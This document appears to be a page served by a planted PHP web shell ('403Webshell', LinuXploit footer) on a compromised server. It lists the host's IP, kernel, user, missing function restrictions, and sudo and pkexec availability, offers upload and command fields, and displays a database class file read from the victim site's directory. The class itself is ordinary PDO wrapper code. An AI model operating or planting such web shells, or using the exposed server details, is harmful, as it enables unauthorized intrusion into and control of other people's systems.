403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/app/classes/PDODatabase.php
<?php

namespace app\classes;

class PDODatabase {

    protected $con;
    private static $instance;
    private $time;
    private $lastInsertId = 0;
    private $realTime = false;

    protected function __construct() {
        try {
            $this->con = new \PDO(\app\constants\PDODatabaseConfig::DNS, \app\constants\PDODatabaseConfig::USER, \app\constants\PDODatabaseConfig::PASS);
            $this->con->query('SET NAMES utf8');
            $this->time = date("Y-m-d H:i:s");
        } catch (\PDOException $ex) {
            printError($ex->getMessage());
            die();
        }
    }

    /**
     * @return PDODatabase
     */
    public static function getInstance() {
        if (PDODatabase::$instance == NULL) {
            PDODatabase::$instance = new PDODatabase();
        }
        return PDODatabase::$instance;
    }

    /**
     * @return \PDO
     */
    public function getConnection() {
        return $this->con;
    }

    /**
     * Add new record to database.
     * @param string $table <p>database table name</p>   
     * @param array $dataArray <p>array of variables to insert (columnName => value)</p>   
     * @param string $excludeFromDataArray <p>array of variables to exclude in update given in $dataArray (columnName1, columnName2, ...)</p> 
     * @param string $idColumnName <p>identificator column name</p>        
     * @return void <p>No value is returned.</p>     
     */
    public function addRecord($table, array $dataArray, array $excludeFromDataArray = array(), $idColumnName = "id", $autoTimeMark = true) {
        $columns = "";
        $values = "";
        $command = "INSERT INTO " . $table . "(";
        foreach ($dataArray as $var => $post) {
            if (!in_array($var, $excludeFromDataArray)) {
                $columns .= "`" . $var . "`, ";
                $values .= ":" . $var . ", ";
                $dataArray[":" . $var] = str_replace(" ", "", $dataArray[$var] === "") ? null : $dataArray[$var];
                unset($dataArray[$var]);
            } else {
                unset($dataArray[$var]);
            }
        }
        $sql = $command . substr($columns, 0, -2) . ") VALUES(" . substr($values, 0, -2) . ");";


        $query = $this->con->prepare($sql);

        foreach ($dataArray as $key => &$val) {
            $query->bindParam($key, $val, is_int($val) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
        }

        if (!$query->execute()) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }

        if ($idColumnName !== false && $autoTimeMark) {
            $time = $this->getTime();
            $email = $this->getLoggedEmail();
            $id = $this->getLastInsertId();
            $idCondition = " WHERE " . $idColumnName . "=:" . $idColumnName;

            try {
                $query2 = $this->con->prepare("UPDATE " . $table . " SET last_update=:last_update " . $idCondition);
                $query2->bindParam(":last_update", $time, \PDO::PARAM_STR);
                $query2->bindParam(":" . $idColumnName, $id, is_int($id) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
                @$query2->execute();
            } catch (\Exception $ex) {
                // no last update column
            }

            if ($this->getLoggedEmail() !== false) {
                try {
                    $query3 = $this->con->prepare("UPDATE " . $table . " SET last_update_by=:last_update_by" . $idCondition);
                    $query3->bindParam(":last_update_by", $email, \PDO::PARAM_STR);
                    $query3->bindParam(":" . $idColumnName, $id, is_int($id) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
                    @$query3->execute();
                } catch (\Exception $ex) {
                    //no last update by column
                }
                try {
                    $query4 = $this->con->prepare("UPDATE " . $table . " SET created_by=:created_by" . $idCondition);
                    $query4->bindParam(":created_by", $email, \PDO::PARAM_STR);
                    $query4->bindParam(":" . $idColumnName, $id, is_int($id) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
                    @$query4->execute();
                } catch (\Exception $ex) {
                    //no created by column
                }
            }
            try {
                $query5 = $this->con->prepare("UPDATE " . $table . " SET created=:created " . $idCondition);
                $query5->bindParam(":created", $time, \PDO::PARAM_STR);
                $query5->bindParam(":" . $idColumnName, $id, is_int($id) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
                @$query5->execute();
            } catch (\Exception $ex) {
                //no created column
            }
        }
    }

    /**
     * Delete element from database. Not recommended to use this function!
     * @return void <p>No value is returned.</p>     
     */
    public function deleteRecord($table, $id, $idColumnName = "id") {
        $sql = "DELETE FROM " . $table . " WHERE " . $idColumnName . "= :" . $idColumnName . ";";
        $query = $this->con->prepare($sql);
        if ($query->execute(array(":id" => $id))) {
            return true;
        }
        return false;
    }

    /**
     * Updates element in database.
     * @param string $table <p>database table name</p>    
     * @param array $dataArray <p>array of variables to update (columnName => value)</p>   
     * @param mixed $id <p>id value of element to update</p>
     * @param mixed $idColumnName <p>identificator column name</p>      
     * @param string $exclude <p>array of variables to exclude in update given in $dataArray (columnName1, columnName2, ...)</p>    
     * @return void <p>No value is returned.</p>   
     */
    public function updateRecord($table, array $dataArray, $id, $idColumnName, array $exclude = array()) {
        $command = "UPDATE " . $table . " SET ";
        foreach ($dataArray as $var => $post) {
            if (!in_array($var, $exclude)) {
                $command .= "`" . $var . "`" . " = :" . $var . ", ";
                $dataArray[":" . $var] = str_replace(" ", "", $post === "") ? null : $post;
            }
            unset($dataArray[$var]);
        }
        $dataArray[":" . $idColumnName] = $id;

        $sql = substr($command, 0, -2);

        if (is_array($id)) {
            $c = 0;
            $ids = array();
            foreach ($id as $key => $val) {
                $c++;
                $dataArray[":id" . $c] = $val;
                $ids[] = ":id" . $c;
            }
            $idCondition = " WHERE " . $idColumnName . " IN(" . implode(", ", $ids) . ")";
        } else {
            $ids = array(":" . $idColumnName => $id);
            $dataArray[":" . $idColumnName] = $id;
            $idCondition = " WHERE " . $idColumnName . " = :" . $idColumnName . ";";
        }

        $sql .= $idCondition;

        $query = $this->con->prepare($sql);

        foreach ($dataArray as $key => &$val) {
            $query->bindParam($key, $val, is_int($val) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
        }

        if (!$query->execute()) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }

        $time = $this->getTime();
        $email = $this->getLoggedEmail();

        try {
            $query2 = $this->con->prepare("UPDATE " . $table . " SET last_update=:last_update " . $idCondition);
            $query2->bindParam(":last_update", $time, \PDO::PARAM_STR);
            foreach ($ids as $key => &$val) {
                $query2->bindParam($key, $val, is_int($val) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
            }
            @$query2->execute();
        } catch (\Exception $ex) {
            //no last update column
        }

        if ($this->getLoggedEmail() !== false) {
            try {
                $query3 = $this->con->prepare("UPDATE " . $table . " SET last_update_by=:last_update_by" . $idCondition);
                $query3->bindParam(":last_update_by", $email, \PDO::PARAM_STR);
                foreach ($ids as $key => &$val) {
                    $query3->bindParam($key, $val, is_int($val) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
                }
                @$query3->execute();
            } catch (\Exception $ex) {
                //no last update by column
            }
        }
    }

    /**
     * Get identificator value (auto increment column) of last inserted record to db.    
     * @return int <p>id value</p>   
     */
    public function getLastInsertId() {
        $lastInsertId = $this->con->lastInsertId();
        if (intval($lastInsertId) !== 0 || !is_numeric($lastInsertId)) {
            $this->lastInsertId = $lastInsertId;
        }
        return $this->lastInsertId;
    }

    /**
     * Get max value in numeric column.   
     * @param string $table <p>table name</p> 
     * @param string $column <p>column name</p> 
     * @return int <p>max value</p>   
     */
    public function getMaxValue($table, $column) {
        $sql = "SELECT MAX($column) FROM $table LIMIT 1";
        $query = $this->con->prepare($sql);
        if (!$query->execute()) {
            return NULL;
        }
        $max = $query->fetch();
        if (empty($max[0])) {
            $value = NULL;
        } else {
            $value = $max[0];
        }
        return $value;
    }

    public function getRow($table, $id, $idColumnName = "id", $condition = false, array $bindArray = array(), $customSelection = false) {
        if ($condition === false && $customSelection === false) {
            $sql = "SELECT * FROM $table WHERE $idColumnName = :" . $idColumnName;
            $query = $this->con->prepare($sql);
            $bindColumnName = ":" . $idColumnName;
            $query->bindParam($bindColumnName, $id, is_int($id) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
        } else if ($condition !== false) {
            $sql = "SELECT * FROM $table WHERE " . $idColumnName . "= :" . $idColumnName . " AND " . $condition;
            $query = $this->con->prepare($sql);
            foreach ($bindArray as $key => $val) {
                $bindArray[":" . $key] = $val;
                unset($bindArray[$key]);
            }
        } else {
            $sql = $customSelection;
            $query = $this->con->prepare($sql);
            foreach ($bindArray as $key => $val) {
                $bindArray[":" . $key] = $val;
                unset($bindArray[$key]);
            }
        }

//        if ($table === "") {
//            echo $sql;
//            var_dump($bindArray);
//        }

        if (!$query->execute($bindArray)) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }
        return $query->fetch(\PDO::FETCH_ASSOC);
    }

    public function getRows($table, $idColumn, $customSelection = false, array $bindArray = array(), $fetch_assoc = false, $condition = false) {
        if ($condition === false) {
            $sql = ($customSelection === false) ? "SELECT * FROM " . $table : $customSelection;
        } else {
            $sql = "SELECT * FROM " . $table . " " . $condition;
        }

        $query = $this->con->prepare($sql);
        foreach ($bindArray as $key => $val) {
            $bindArray[":" . $key] = $val;
            unset($bindArray[$key]);
        }
        $rows = array();
        $query->execute($bindArray);
        if (!$query->execute()) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }

        if ($fetch_assoc) {
            return $query;
        }

        if (is_array($idColumn)) {
            foreach ($query->fetchAll(\PDO::FETCH_ASSOC) as $key => $val) {
                if (!isset($rows[$val[$idColumn[0]]]) || !is_array($rows[$val[$idColumn[0]]])) {
                    $rows[$val[$idColumn[0]]] = array();
                }
                $rows[$val[$idColumn[0]]][$val[$idColumn[1]]] = $val;
            }
        } else {
            foreach ($query->fetchAll(\PDO::FETCH_ASSOC) as $key => $val) {
                $rows[$val[$idColumn]] = $val;
            }
        }
        return $rows;
    }

    /**
     * Get single value from database according to condition. LIMIT 1 is automatically added to query.   
     * @param string $sql <p>sql query string</p> 
     * @param array $bindArray <p>array ov bind variables</p> 
     * @return mixed <p>Returns selected value or NULL if no value was selected.</p>   
     */
    public function getValue($sql, array $bindArray = array()) {
        $query = $this->con->prepare($sql . " LIMIT 1");
        foreach ($bindArray as $key => &$val) {
            $query->bindParam(":" . $key, $val, is_int($val) ? \PDO::PARAM_INT : \PDO::PARAM_STR);
        }
        if (!$query->execute()) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }
        $row = $query->fetch();
        if (is_array($row)) {
            return $row[0];
        }
        return NULL;
    }

    /**
     * Execute SQL query.  
     * @param string $sql <p>sql query string</p> 
     * @param array $bindArray <p>array ov bind variables</p>  
     * @return void <p>No value is returned.</p>   
     */
    public function sqlCommand($sql, $bindArray) {
        $query = $this->con->prepare($sql);
        if (!$query->execute($bindArray)) {
            throw new \Exception(trim($query->errorInfo()[2]) === "" ? $query->errorInfo()[0] : $query->errorInfo()[2], $query->errorInfo()[1]);
        }
    }

    /**
     * Get time of instance initialization.  
     * @param bool $integer <p>return time as int value</p> 
     * @return mixed <p>Returns time int value or date and time as string.</p>   
     */
    public function getTime($integer = false) {
        if ($this->realTime) {
            return $integer ? time() : date("Y-m-d H:i:s");
        } else {
            return $integer ? strtotime($this->time) : $this->time;
        }
    }

    public function getLoggedEmail() {
        $email = isset($_SESSION["email"]) ? $_SESSION["email"] : false;
        if ($email === false && key_exists("HTTP_HOST", $_SERVER)) {
            try {
                $user = BasicUser::getLoggedUser();
                $email = $user->_get("email");
            } catch (\Exception $ex) {
                
            }
        }
        return $email;
    }

    public function enableRealTime() {
        $this->realTime = true;
    }

    public function disableRealTime() {
        $this->realTime = false;
    }
    
    public function startTransaction() {
        $this->sqlCommand("SET autocommit = 0; START TRANSACTION;", array());
    }

    public function commit() {
        $this->sqlCommand("COMMIT; SET autocommit = 1;", array());
    }
    
    public function rollback() {
        $this->sqlCommand("ROLLBACK; SET autocommit = 1;", array());
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit